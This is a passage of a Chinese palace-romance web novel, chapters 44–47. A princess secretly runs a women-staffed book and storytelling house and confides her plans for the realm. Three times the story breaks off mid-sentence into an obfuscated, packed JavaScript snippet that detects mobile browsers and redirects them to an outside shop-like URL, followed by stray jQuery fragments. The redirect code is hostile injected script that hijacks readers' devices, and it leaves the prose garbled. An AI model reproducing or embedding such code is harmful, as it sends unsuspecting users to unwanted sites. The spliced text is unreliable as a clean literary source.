“王爷，小女今日料定王爷会来，特意清晨动手制作了两道点心。”
香气四溢，引得萧沁澜无意识探头望去。
风消饼，以糯米细粉精心烹制，融入甜蜜与酒醅，再炸至金黄酥脆，口感轻盈如风，既酥又软，甜而不腻，令人回味无穷。
另一道是芋饼，糯米粉与生芋细腻融合，内裹糖豆沙，香甜可口，别有一番风味。
这两样糕点色泽鲜亮，明显刚出锅不久，也不知对方何时开始准备，更不知南门鸢从何得知润知偏爱这两种甜食。
糕点呈上的刹那，蔫润知偷偷瞄了她一眼，见她凝眸良久，便毫不犹豫地将糕点推向两人中间。
44. 温馨日常
“好！”
天朗气清，初冬暖阳洒落，昨日的几人再次汇聚于宣王府旁侧。
后院演武场内热闹非凡，仆从们齐齐鼓掌喝彩，夸张的言语此起彼伏。
“公主殿下挽弓如流星穿云，箭无虚发，次次正中靶心，较之往昔更加令人钦佩叹服！”
“不仅如此，公主箭术日益精进，既保留了往昔的飒爽，又添了几分沉稳平和。能在纷扰朝局中保持此等心境实属非凡，简直天赋卓绝。”
文叔抚摸着胡须，笑逐颜开，“你这莫不是再说殿下技艺退步了？真是该打。”
“非也！非也！殿下的六箭皆中靶心，技艺怎会有丝毫的减退。文叔莫要再取笑了。”
望着那群热情洋溢的府邸旧人，萧抒摇头戏谑道：“宣王府的诸位真是偏心，本王与润知下场时，怎不见这样热烈的掌声？亲疏之别，一目了然啊！哎，我那精心准备的礼物，倒不如换成美食享用，真是枉费了心思！”
司空颢在一旁悠闲品茶，这并非他首次听到抱怨，对此情景已见怪不怪，“王爷还是自认倒霉吧。瞧瞧这鼓掌的人中，就属润知的声音最为响亮。”
“好啊，润知你这家伙，一见到心上人就忘了兄弟情义是吧？来来来，今天咱俩非得好好比划比划，我若不射中你的箭靶，就誓死不吃午膳！”
原本沉浸在欢乐气氛中的蔫润知，闻言不屑地撇了撇嘴，随即从夏半手中接过弓箭，大步流星地走向靶场，“好，这可是你说的。正好，今日沁澜能省下不少肉菜钱呢。”
“真是小孩子心性。”司空颢逌尔而笑，随后转向对面之人问道：“承韫，你的箭术向来精湛，怎么不上去与他们一较高下？”
陆承韫收回望向场上的目光，低头啜饮一口茶，淡淡回应，“她们兴会淋漓，其乐陶陶。我这等无趣之人参与，只怕会坏了欢喜，徒增尴尬。”
“怎会这样想？”司空颢眉头轻蹙，“宁郡王性格纯良，喜爱广结善缘。我们一路而来，众人皆知你的品性，怎会轻易忽视？”
“不过是句玩笑话。”陆承韫温容和貌，回应道：“沁澜现今已及笄。若真有成婚的打算，早已有所准备。因此，‘心上人’此类有损女子清誉之言，还是避免提及为好。司空兄以为呢？”
“言之有理。”司空颢点头赞同，“沁澜身份非同一般，深情厚谊也不应成为玩笑的借口。此事最好私下与萧抒商议，避开润知。你我皆知沁澜行事果断，若有意，早已应允。是时候让润知慢慢释怀了。”
“确是。”陆承韫眸光清浅无波，似是随意提起。
言毕视线再次投向场内，品茶观战。
练武场上，萧沁澜眼神清澈如水，神情自若，挽起小半截衣袖，素手微松，“唰”的一声，箭矢如闪电划破长空，迅猛无匹，直击靶心。
围观的府邸老人再次爆发出阵阵欢呼，掌声与喝彩声交织在一起，连绵不绝。
蔫润知与萧抒立于另一侧，正激烈地争执，脸上伤痕未愈的南门鸢则在一旁，面带微笑地注视着二人。
凉亭内的司空颢不经意间瞥见这一幕，略作思考后，开口问道：“听说今日得国公爷准许，承韫你早早就到了府邸？”
不知他到底何意，陆承韫含笑颔首，低低应了一声。
“兴安伯之女，昨夜未归吗？”
“据我今早所闻，好像确实未归。”陆承韫柔声答，“南门姑娘不受兴安伯重视。至于她母亲的性情，我不甚了解。沁澜或许知晓些什么，因此将她留了下来。”
“哎，她还是那么热心肠。”司空颢叹息道：“听家父说，今日早朝，因沁澜教导德伦之事，兴安伯竟在太和殿内亲自跪地恳求严惩，态度坚决。”
“惩罚贤昭公主？”鸡毛蒜皮的小事，陆承韫先前不知，听罢漠然笑道：“女儿尚未成为皇妃便张扬行事，还想操控萧氏皇族的决断。兴安伯不该这般的愚昧。这背后恐怕有人煽风点火，让兴安伯成了替罪羊。”
“承韫所言颇有道理，父亲亦持相同看法。即便能管得了一时，也终究难以长久。南门姑娘在此居住，毕竟非长久之计。明日沁澜即将返宫，宫中规矩繁多且严格，以她这样的身份，若沁澜求情，短时间内也难以获准入宫。”
“司空兄的意思是……”陆承韫眼神微眯，试探性地问道：“南门姑娘或许并非真心倾慕润知，而是有意为之，故意接近他？”
司空颢对此未置可否，转而说道：“今晨南门姑娘身受重伤，仍亲自为润知准备了他最爱的两样点心。”
未待对方回应，他继续分析道：“了解润知口味之人本就稀少，而深居简出的南门姑娘竟能精准地合其心意，这岂是一句巧合可言？难不成是宣王府旧人昨日有人透露了消息？”
“宣王府的下人虽热情好客，但守口如瓶，未经主子允许，绝不会泄露半句。更何况是这种显而易见的试探。对此间人的品性，我们都清楚。再者……”
陆承韫目光扫过场中欢声笑语，“我今日早到与沁澜闲聊时，她并未提及此事，反而特意叮嘱了南门姑娘保重身子。”
“那倒是奇怪了。”司空颢垂下眼眸，陷入沉思，“南门鸢究竟有何意图？若真在兴安伯府境遇不佳，昨日怎会恰巧出现在长街，还被沁澜偶遇并搭救？
换作我们中任何一人，都会因男女之防而避嫌。其他官宦女子更不敢随便得罪德伦郡主，唯有沁澜……”
他摩挲着茶杯边缘，继续深思。
“司空兄的意思我明白了。”陆承韫聪慧过人，洞悉了未言之语，主动接过话题，“沁澜留下的后手在润知那事上已显露无遗，现正被朝野上下密切关注。
陛下偏爱沁澜，兴安伯直接与她发生冲突实为不智。此事我会着手调查。至于萧抒……”
听到这里，司空颢立刻神色凝重地说：“宁郡王与沁澜交往不深，且他背后无显赫家族支撑，产业亦不丰厚，仅靠朝廷俸禄维持王府。这事疑点重重，或牵涉甚广，为免他受牵连，我们还是暂且保密，不告诉他为好。”
这番话初听起来颇有道理，但难以判断他是否故意装傻。
陆承韫若无其事，神情自若地朝他笑道：“司空兄真是处处为沁澜考虑，我亦有同感。不过既然此事关乎润知，我们应当知会他一声。他在沁澜之事上固然直言无讳，但对其他事情却十分谨慎。”
“好，润知那边我来沟通。若有任何消息，还望承韫能尽早告知。”司空颢手持茶盏，显得洒脱不羁，如同饮酒般与他稍稍一碰杯。
陆承韫不卑不亢，同样举杯相迎。
＆
乾清宫内，萧墨凌放下朱笔，轻轻叹息。
太后边品茶边审阅奏折，知晓他的心思，却未直接点破，佯装不解地问：“皇帝这是何故？可是有不解之处？”
萧墨凌面露愁容，似有难言之隐，犹豫片刻，终是道：“今日早朝母后也知兴安伯所奏之事。德伦郡主德行
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297398|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有失，不仅害及无辜平民女子，今又仗势欺凌家中亲妹。这样品行败坏之人若入后宫，恐怕日后会不得安宁。”
太后眼神深邃，却面露慈爱，语气温和地宽慰道：“皇帝过虑了。
女子在家时或许娇纵，但一旦成婚自会收敛性情，安于内宅，勤勉于相夫教子。德伦身为郡主，又是尊贵的外戚之后，更应为天下女子之表率。
后宫事务自有哀家料理，皇帝只需专心国政。待到你能让哀家真正享得清闲，品茗观戏，那才是哀家之福。”
登基仅数月，萧墨凌便深感处处掣肘。
宫中除贴身大太监外，竟无一个全然信赖之人。
本想试探太后势力，故而带入宫中的四个暗卫，谁承想次日便被太后寻衅压入乾清宫暗中警告，未曾彻底翻脸。
那四名暗卫可是身手不凡、隐藏不露的高手啊！
登基至今已有两月。
两个月，说长不长，说短不短，自己居然连个人手都安插不进来。
听太后意思，以后还要与两位恶名昭彰的女子周旋……亲近？
外表温婉无害的祥和，私下是虐待狂徒，尤恶姿色中上的女子，一见即毁容颜，毁了后还强迫做一些繁重污秽的脏事。
德伦更是残忍愚钝，无需赘言。
这两位在京师之内可谓是声名狼藉。
这般阴郁狠辣之女若入后宫，必将掀起滔天巨浪。
父亲曾有意为自己纳祥和县主为侧妃，查探清楚本性后，便彻底打消了念头。
按理来说，定国公府能查到之事，太后必会知晓。
经年累月的布局与掌控，世间几无她不知之事。
可她为何偏要将这种女子强加于他？、
论及身份，二人确属尊贵，看似合理。
事情怎会这般简单？
太后对他究竟作何评价与手段？
难道只是借这两名女子损害他的名誉？
皇权之座，并非是太后一言可废的轻率之物。
从古至今，再显赫的女子，也未曾有过直接干预皇位废立的先例。
父亲不在身边，他无法随意传递消息，无法像从前在战场或宫外那般无拘无束。
所受的委屈，唯有自己一人默默承受。
宫内皆为眼线，没一个能说贴心话的，唯有贤昭……
方离宫不到两日，萧墨凌便觉与对方久别般漫长。
忍了又忍，他不禁开口问道：“沁澜现今在宫外，可安好？”
他沉默思索的时间很长，可答非所问，太后并未怪罪，听完后反而温声道：“哀家听说，贤昭的府邸真是热闹非凡。
润知、司空、宁郡王，还有国公家的二公子都齐聚一堂，谈笑间品茶用膳、逛街游玩。今早南门鸢被贤昭留下，还特意准备了润知最爱的糕点……”
说到这里，太后笑了出来，“据汇报的人说，当时贤昭在场，南门鸢那般小女儿姿态把润知吓得不轻，连连解释呢。”
“是吗？”萧墨凌望着空旷寂寥的乾清宫，再转向堆积如山的奏折，“沁澜她，此刻应是心情舒畅的。”
事实与想象往往相悖。
练武场边缘，萧沁澜头痛欲裂，捏着额角坐在凉亭内，整个人麻木地瘫在圈椅之中。
几个男人一场戏。
也不知突然聊到了什么话题，他们四个的对话猝不及防变得激烈，毫无防备间手舞足蹈地混乱争执。
45. 现代招商
午膳后的正厅内，四个男子汇聚一堂，各执一词，手舞足蹈地激烈讨论。
萧抒嗓音最为洪亮，他豪气干云，双手比划着，不停拍打着自己掌心，
“策马疾驰，箭无虚发，本就是男儿本色。我们虽曾素不相识，却都历经战场洗礼，贤昭亦是如此。她难得出宫三日游玩到了现在已耗去一日半，这剩下的难得自由时光应更加珍惜。
骑马射箭既能强健身心，又可陶冶情操，增长见闻，更能享受京城的清新气息，何乐而不为？你们自诩为贤昭的青梅竹马，却事事保守拘泥，真是迂腐、迟钝、呆若木鸡！”
“宁郡王所言不无道理。”司空颢眸中盈满笑意，细声劝慰道：“沁澜此次外出，是以祭拜兄长为由。
太后的权势众所周知，若行事过于随意，恐授人以柄。依我之见，沁澜剩余时间可前往医馆。
一则能学习医术，确保在宫中安全无虞；二则能让百姓知晓贤昭公主心系民间疾苦，非虚言，乃是时刻挂念；三则能广积善缘。
苍天有眼，善恶自有分明。秉持善念，行善积德，自会天道酬勤，福寿绵长。就算日后偶有过失，善行所积的福报亦能两相相抵。”
“你这话是好话吗？我怎么感觉你在咒人？”萧抒幽幽反问。
难得几人相聚，本欲纵马驰骋，逍遥自在。没想到这样无趣。
萧抒重重坐下，眼神直勾勾、哀怨地盯着他。
萧沁澜被二人的吵闹引得口干舌燥，刚端起茶杯想要解渴并作出决断，不料另两人也加入了讨论。
“医馆仅是司空的喜好，实则乏味至极，这个还是算了。”蔫润知斩钉截铁，于正厅内踱步沉思，“骑马射箭确是乐趣无穷，可沁澜此番出宫的理由与其相悖，太过张扬，就怕太后借机生事。
宫中首饰虽华贵，却千篇一律，缺乏新意。依我看，不如今日前往京城最大的珠品楼挑选几件好物件儿。
那里应有尽有，无论是淡泊、高雅还是华贵皆能寻得。费用我来承担，之后我们再在街边品尝些充满市井气息的小吃。
许久未曾自在放松了。沁澜，你觉得这安排怎样？”
言罢，他几步跨至首位左侧坐下，眸光璀璨，眼神中期待地望向她。
“只要沁澜有所愿，区区首饰，太后自会满足。”陆承韫端坐如松，指尖滑过腰间玉带，“‘书中自有千钟粟，书中自有黄金屋，书中车马多如簇。男儿欲遂平生志，六经勤向窗前读。’
此句虽为激励男儿勤读诗书、以图仕途的佳话，实则对世间众人皆具启迪。
闻说初语楼汇聚古今奇闻异事、英雄豪杰的传奇，连太后与太傅亦赞不绝口，声名之盛，可见一斑。但我却缘悭一面。
沁澜在宫中四载，定有所耳闻，却未曾亲临吧？”
这话出乎萧沁澜意料。
她放下茶盏，饶有兴趣地应了一声“嗯”。
见她这番表情，陆承韫嘴角的笑意愈发浓郁，“四年转瞬，初语楼已非往昔，不再受重重规矩束缚。
现今它声名远播，连明昭王朝的边陲之地，不解王朝语言的北狄、西戎都对其推崇备至。
沁澜难得外出，怎能错过这机会，瞧瞧进出初语楼的那些达官贵人、富商巨贾呢？”
此话一出，几人全部缄默无言。
片刻后，萧抒猛地一拍桌子，激动跳起来道：“妙哉！这个提议甚好！
我身份特殊，向来只闻初语楼传奇，却从未敢亲身造访，唯恐被朝中老臣盯上，添上不必要的麻烦。今日我定要前去一探究竟。
就这么定了，贤昭妹妹，我们即刻动身。听说初语楼日日客满，席位难求。”
自己怎么未先想到呢！
蔫润知懊恼地拍了拍头，自责了几句。
司空颢点头赞同道：“初语楼短短四年间，让女子得以走出闺阁，光明正大地听书看话本、游记。且，我听说珠品楼的主事也是一位女子，如初语楼一般，店铺遍布京城各处。”
萧沁澜闻言一笑，并未言语。
这正是她的长远考量，若贸然推行女子入太学乃至为官，会难以付诸实践。
乱世初定那年，君权由她与太后两位女子共掌，之所以未曾生乱，全赖太祖皇帝的深厚威望。
毕竟古时对灵魂一说尤为崇敬。
可长久的安宁与荣华往往使人迷失本心。
慢慢的，除了那些矢志不渝或真心为民的好官，不少人都偏离了正道，尤其是那些开国元老，手握重权者更甚。
在父权观念受到挑战之时，掌权女子的处境更是危机四伏。
想要实现像她所处的那个和平年代，所能做的便是稳步前行。
让女性率先涉足商海，便是迈出关键的第一步。
所幸，不过短短四年，珠品楼与初语楼便在这方面取得了显著成就。
陆承韫此言既合情又合理，且恰巧正中所有人下怀，决定后萧沁澜不再旁观他们的争执，立即接过话题，吩咐文叔去准备马车与银两，随后回房更衣，向初语楼行去。
……
府邸的客房内，南门鸢斜倚于门框上静静聆听前院的喧嚣声渐渐远去，直至不可闻。
寒风拂过，她的裙摆随之轻扬。
“姑娘。”丫鬟向她行礼后，步入屋内取来披风，细心地为她披上，“公主殿下有令，姑娘身体欠安，午膳后需好生静养，以免伤口裂开。
若姑娘难以入眠，奴婢这就去取安神香来点燃，可好？”
南门鸢拢了拢披风，“殿下出去了吗？”
丫鬟低下头，“是。醇亲王与公主殿下外出游赏，今日大约不会回府。”
南门鸢眉梢微挑，目光淡漠地掠过丫鬟，好似不在意地转身进屋，“我知道了。”
＆
初语楼不大，仅三层高，但其占地面积却异常广阔，与一座五进五出的王府相仿相近。
一楼茶香袅袅，甫一进入，便看到一处圆形高台，上好的檀木书桌围绕四周，摆放的整整齐齐。再远一些，雅房众多，内部亦设有高台，门扉一闭，外界的喧嚣便隔绝在外，让人得以静心聆听评书，品茗茶点。
二楼的房间相较于一楼更为宽敞，且面积各异，房间内的布局却与一楼如出一辙。中央依然是圆形高台，四周檀木座椅排列得整整齐齐。
此处琴师、舞姬、歌女齐聚，每日节目变换多样，唯有付出更多银两，方能点曲观赏，渐渐成为身份地位的一种彰显，故而每日不惜重金求此享受者络绎不绝，盛况甚至盖过了一楼的听书热潮。
至于三楼……
“哇……哇……竟然还有这等景致！”萧抒惊叹不已，穿梭于琳琅满目的书架之间，目不暇接。
陆承韫拍了拍他的肩，低声道：“这里需保持安静。找到心仪之书，可前往特别区域阅读。若有不解，可向这层楼的学者请教，她们会免费解答。”
司空颢对规矩颇为熟悉，补充道：“但阅读
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321611|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时需小心保管，归还时会有楼内管理者亲自检查。损坏书籍者，会招致众怒。”
“……这么严重吗？”萧抒听罢，立刻小心翼翼地将书抱在胸前，既不过紧也不敢过松。
“是。”司空颢拿起一本书翻阅，“这里藏书丰富，既有珍贵的残存诗集，也有深入浅出、富含哲理的话本。
这两类书籍深受学子喜爱。若有人轻微损坏，几乎等同于触犯明昭王朝的禁忌，甚至可能被记录在申明亭中。”
“原来如此。”蔫润知接过话题，环顾四周，惊叹道：“没想到这样珍贵的书籍竟能免费翻阅，难怪太傅与太后都对此地赞不绝口。初语楼的姑娘们更是备受尊敬，地位甚至超越了某些小官家小姐。话说这里的藏书真是数不胜数啊！”
萧沁澜站在后方打量。
她还是首次在青天白日下造访此地，自初语楼安定以来，她仅派遣本采前来传递消息，时隔两年，此间规模较之往昔又扩张不少。
三楼的房屋分类更为严苛。
一侧房间内密布书架，书架间蜿蜒着狭窄通道，各房间门口赫然贴着书籍分类的木牌，古籍经典、诗词歌赋、史传杂记、话本英雄等应有尽有。
另一侧桌椅整齐排列，室内昏暗，唯有古灯常亮，散发出柔和的光芒，静谧无声。
这里的读者身份各不相同，既有衣着简朴的学子，也有身着华服的商人，他们或倚窗沉思，或埋头苦读。
“竟然还有女子！”萧抒怀抱一册话本步入静室，目睹此景，不禁大惊失色，连忙压低声音，语气中的错愕却难以掩饰。
陆承韫凑近他耳畔，“往昔并无先例。可楼内的打手实在凶悍，打了几顿后见官府不管，告状无门还被私下警告，便老实了多年。
今日此地多为商户之女。
瞧那边那位，是太傅掌上明珠的贴身丫鬟，几乎日日来此借阅不同话本。
初语楼的话本多是女子所撰写，细腻丰富，不落俗套。”
萧抒问道：“简直高风亮节，可免费借阅，初语楼到底该怎样盈利？这楼里……不会有什么兵法或其他吧？”
“不会，皆是寻常话本与游记、诗集与简约注释。看这里。”
陆承韫指向门框上的题字，“由英风阁赞助，专为此建。你可明白其中深意？这屋中的藏书，大多是天下第一镖局英风阁慷慨解囊，再由初语楼之人不辞辛劳，遍访大江南北搜集而来。类似这样，不胜枚举。”
“……还能这样操作？”
“这法子既节省开支，又能多多宣扬，更能赢得美名，一举三得，何乐而不为呢。”陆承韫说罢，眸色沉沉，“创立初语楼之人，真乃世间罕见，独一无二。”
“还妙不可言！”
“是，妙不可言。”
二人看着眼前所见，各有所思，蔫润知在这时匆匆赶来，将他们拉到走廊外，远离人群后才焦急地问：“沁澜去哪儿了？你们有没有看见她？”
“不知道。”萧抒谨慎地护着手中的书，反问，“司空呢？他也不见了？”
“初语楼太大了，我刚才绕了好大一圈，花费许久才寻遍三楼，可还是没找到他们两人的踪影。”蔫润知忧虑地来回踱步，“沁澜是第一次出来，不会出什么事吧……”
“别担心。”陆承韫负手而立，“沁澜身手不凡，聪慧过人，我们只需安心等在此处。等她办完事情，自然会回来找我们。”
察觉不妥，他又补充：“司空亦是。”
46. 契兄弟
日头偏西，正值未时，京师之中午膳刚过，又经历午后办公，此刻的初语楼愈发红火热闹，人声鼎沸。
大堂中央的说书声被阵阵掌声与喝彩淹没，那些未能购得前座、无法清晰听闻故事的心生不满，纷纷站起斥责。
“诸位能否安静些一起听书品茶？你们这般喧闹，不仅干扰了后排的听众，也让三楼静心看书的小友何以自安？这等行为岂非令人侧目，自寻责难！人神共愤！”
最前排听众闻言不屑地嗤笑，回头吝啬地分给发难者半分眼神，语调中透着轻蔑：“哟，这位朋友若有财力，何不攒钱直上前排？
囊中羞涩便少些怨言。初语楼四载春秋向来如此。
若真有能力与本事就自己包下雅房，单独叫个夫子为你说书不就行了！
至于三楼，谁人不知初语楼选材上乘，隔音极佳。只要闭上你那张嘴，便不会扰人分毫。
若仍觉不满，三楼书海免费开放，无人阻拦你的脚步。”
听闻此言，后排那些好不容易积攒银两，打算前来增长见识的众人齐齐怒目而视，却不敢多抱怨。
楼内第三层有一杂物间，位置得天独厚，内设双层隔间，从相邻两室侧观几无二致，唯独其材质特殊，能传导声音，且将楼下的大致情形看的还算了然。
而这杂物间的隔壁，初语楼管事对外宣称租予特殊人物，包房即便空闲，亦无人敢占。
杂物间内，萧沁澜斜倚在宽大的太师椅中，手中抱着暖炉，优哉游哉道：“这里还是应增设火炉，毕竟作为杂物房，既少有人检查，也少有人问津。”
她久未至此，上次相见已恍如隔世。
艳遥明面上是楼内管家，对外向来行事果断，几个月来乍然见到改变自己命运的贵人，眼中噙着两炮闪亮亮的泪水，出口的话也哽咽沙哑，
“是……奴家记下了，定代楼内姐妹谢主子大恩大德。”
“这般感性做什么？”
萧沁澜伸出温热的手心为她拂去泪痕，眉眼含笑，细语安慰，“姐妹们皆安好，无人牺牲，楼中日益兴盛，影响力几乎遍及明昭王朝，越来越多的女子得以免受被随意买卖，更无需再承受父母安排的阴婚之苦。
男子有钱有书。世间变迁虽缓，却正稳步向好，不过是数日未见，怎就多愁善感了？这可不是我认识的你。”
这番话非但未能平息艳遥的情绪，反使她泪水更甚，双手轮换着擦拭，几近泣不成声，“对，一切……都很好，再也没人被迫……配阴婚了……主子，真是太好了……”
话音刚落，她终是再忍不住一头扑进萧沁澜怀中，埋首于她胸前，泪水如泉涌打湿她的衣衫，声音中满是压抑。
知晓主子是随人同来初语楼，不过片刻光景，艳遥便强忍住了悲痛，努力平复心情，双眼泛红，泪光闪烁地涩声道：“楼内姐妹们乍见主子皆失了分寸，
本该上工的却停下了手头的活计，明知不可能却还央求奴家准假半日，只为前来向主子请安。
主子您听，今日成娘子讲述的故事虽无误，但语调抑扬顿挫，与往昔大相径庭，这样的技艺在楼内恐只能担任洒扫之职。”
说起此处，滚烫的泪水再次滑落，艳遥慌忙拭去，哽咽续道：“幸得主子仁慈，初语楼、珠品楼及布锦坊，四年来几乎遍布天下。
工钱优渥，即便是最低等的丫鬟，待遇也远胜将女子卖作通房与妾室，更不必提那穷苦人家的阴婚了。”
“傻子。”萧沁澜浅浅一笑，语气宠溺万分。
女子地位卑微，不似男子力大能武或耕田种地。
她前世身为集团千金，父母疼爱，兄长宠溺。
今生则是备受尊崇的嫡公主，从未遭受半分歧视。
无论前世今生皆是幸运儿，
初时发展势力、学习武艺仅为自保。
后因前朝贪腐横行，暴虐无道，率兽食人，百姓苦不堪言，各地民众反抗不断。
她跟随父亲一路辗转至京师途中，目睹了乱世弱小男女的种种艰辛与苦难。
因而新朝初立，她立即采取行动，不惜重金提前编纂了所有能铭记的诗集、话本及至理名言，乃至途中的所见所闻。
自然，皆是寻常可见，毫无政治分歧的那种。
一人之力太过渺小，她随后派遣麾下寻觅各地隐世的教书先生，不拘男女，唯才是举，将他们的教诲与见闻一一记录，并登记造册，藏于初语楼中。
初语楼初时因名气不显，且书籍多由女子撰写，遭遇了前所未有的排斥与抵制。
她凭借手中权势，结合自己推崇的唐诗宋词，分门别类整理，并邀请各界真才实学的大儒前来品鉴，逐渐树立声誉。
不出半年，初语楼在京师稳固了根基。
……
见她神情沉思，跟随她多年的艳遥，深知她在宫中的重重遭遇，回想起那些艰难岁月与方才的对话，心中懊悔不已，恨不得抽自己一记耳光。
“主子切莫挂怀，现今四周豺狼虎豹环伺，行动颇受掣肘，扩张初语楼还需再缓缓。循序渐进，便是极好的安排。现在那些贫寒但丑陋的人家，纵是倾尽所有，也难以买下一个可随意责骂的丫鬟了。”
“还不够……”
“主子，足够了！”艳遥猛然抓住她的衣袖，跪倒在地仰望着她，语重心长道：“现在这些已极为难得。
珠品楼、布锦坊、初语楼，皆关乎日常衣着与心灵慰藉，不可或缺。
主子所立规矩，女子自三岁起即可入楼内调养，衣食无忧。至十四岁便可领薪，薪酬寄回家中，赏银则秘而不宣，作女子嫁妆之用。这样的善举世间罕见，古往今来堪称首例啊！”
艳遥，“朝廷对初语楼此举赞不绝口，门外悬挂的匾额还是太后亲笔御赐。
这等恩泽，若非主子费心筹谋，时刻挂念，那些小女孩何能享有今日的福祉？故而，真的够了。
被富商高价买下的妾室锦衣玉食无忧。面面俱到是不可能之事。主子，真的够了。”
理想与现实往往相去甚远，人终究难以顾及万千。
萧沁澜明白，工钱不可再增了，若再有所逾越，恐怕会引来其他商会的排挤与阻挠。她管的了京师，却管不住各地州县。
权势、财富、忠诚的下属以及果敢决断皆不可或缺。
若想要再拓版图，唯有一条路可走。
时间浪费太久，萧沁澜搀扶她起身，问出最终问题，“两年内，初语楼能否遍布天下，成为首屈一指的富商？”
“能！”艳遥回答得坚定果决，没有一丝犹豫，“主子有令，奴婢定当全力以赴，绝不懈怠。”
萧沁澜闻言点头，“如此甚好。”
除了本采，艳遥是她最为信赖之人。
没有隐瞒，萧沁澜仔细系好披风，言道：“明年二月科举之前，天下将会易主。我自认才情出众，那至高无上的位置除我之外，无人能及。
一切正按计划悄然推进。十年之后，天下必将焕然一新，经济繁荣，百
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338297|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姓安居乐业。在一定范围内，男女皆可当家做主。”
此言听来简直悖逆常理，荒诞不经，难以置信。
艳遥对她深信不疑，却亦感觉前路坎坷。
但只要主人一声令下，就算是赴汤蹈火，在所不辞！
“奴婢斗胆直言，女子登基，史无前例。若主子有此宏图，仅余几个月太仓促了，还需提早造势，慢慢潜移默化方为上策。”
萧沁澜闻言轻笑出声，转身点了点她的额头，“成为皇帝有何好处？明君需废寝忘食，反损寿元；庸者处处受制，或遭不测，无人怜悯；暴者更是遗臭万年，遭人唾骂。仔细算来，这种吃力不讨好的差事，实在不值？”
“啊？”艳遥被她的话弄得一头雾水，不知该如何接话，“可主子……奴婢们一直做的便是此等打算啊？”
知她心事，也知她长处，萧沁澜将手中的暖炉递予她，直接为其安排任务，“两年之内，我要让初语楼在皇商界中独树一帜，由女子引领。
明昭王朝长盛不衰，百姓温饱无忧。这一切的重担，都将落在你的肩上。
这任务艰巨，所需努力众多，唯有你性格细腻，做事周全，能够办到。望你行事谨慎，同时切记保重自身。”
艳遥眼神坚毅，跪地重重三叩首，“主子愿意委以重任，艳遥定不辱命，誓无失言！”
＆
“哎……”
静室内，蔫润知无聊地拨弄着烛光，长吁短叹。
陆承韫翻过一页书，垂眸低声道：“半盏茶功夫未到，你便心浮气躁。若觉无趣，何不寻本喜爱的话本，随意消遣？”
“罢了，手已沾墨，恐污了书页。”
“谁让你贪玩惹火，如今无聊岂不自找。”
“你都没看居然也知道我在干嘛？”蔫润知身体前倾，压低声音凑近些许，语气贱兮兮道：“你今日总与我待在一起，如影随形的，莫非是对我有所挂念，才这般不愿分离？”
无趣无聊。
陆承韫勉强分给他一个眼神，“是，如你所言。”
“……”蔫润知瞬间愣住，随即迅速后撤，与他拉开距离。
因战乱频仍，明昭王朝还未建立以来，契兄弟就颇为普遍。
可太祖皇帝所定规矩森严，只要不搬到明面，光明正大办宴会，便无人弹劾。
他……
定是开玩笑的！
谁人不知自己喜欢沁澜，无半分变心，移情别恋。
思索清楚，蔫润知恢复了往常的懒散姿态，双手托腮，侧头望向一旁，“真没想到，萧兄竟是个勤奋好学之人。从刚才到现在，竟未多言过一句。”
话音落，萧抒依旧面无波澜，双眼闪烁着光芒，全神贯注地沉浸在英雄豪杰的故事之中。
见无人理会自己，蔫润知抿了抿唇，站起身缓缓推开房门，又随手带上，趴在围栏前，开始细细观察起楼内的布局。
这初语楼不知是哪位高人雅士所创，三楼之上，男女房间巧妙分隔。
更令人称奇的是，楼内还特意设置了碳炉。
那碳火非同一般，极为珍贵，无烟无味，奢靡至极，难道不怕引来百姓围观，损坏了这些珍贵的书籍吗？
“在想什么呢？”蔫润知正神游天外，突然被这一声询问吓得一激灵，连忙转身望去。
“你是？”
来人眉梢轻挑，盈盈笑意，风情万种地向他行礼，“奴家名为艳遥，乃是初语楼的管事，听闻醇亲王大驾光临，特来参拜。”
47. 蔫润知指着自己
掌声与叫骂声交织，回荡在初语楼内外，所幸三楼隔音效果甚佳，外界喧嚣未能侵扰其中半分。
书页翻动，知识如宝，能踏入此地的学子无不心怀敬畏，倍加珍惜。
走廊中，得知对方身份后，蔫润知神色肃然起敬。
堂堂亲王，却谦逊自降身份，对着寻常女子抱拳行礼道：“原来竟是初语楼的艳遥姑娘，久仰大名。百闻不如一见，姑娘之大义，当永载史册。”
面对亲王如此礼遇，艳遥娇媚一笑，随即躬身回礼：“王爷真是令奴家愕然，这般厚爱奴家实不敢当。今日过后，奴家怕不是要折寿谢罪了。”
“姑娘切莫妄自菲薄，”蔫润知声音渐低，“您之大义，已足以光耀千秋，后世之人定会对您赞不绝口。反观本王，或许只能成为史书中的一笔带过，甚至不留痕迹。”
沁澜身为皇室正统血脉，必会载入史册，而他庸碌无为……
相比之下，或许都不配与沁澜同记于一个朝代。
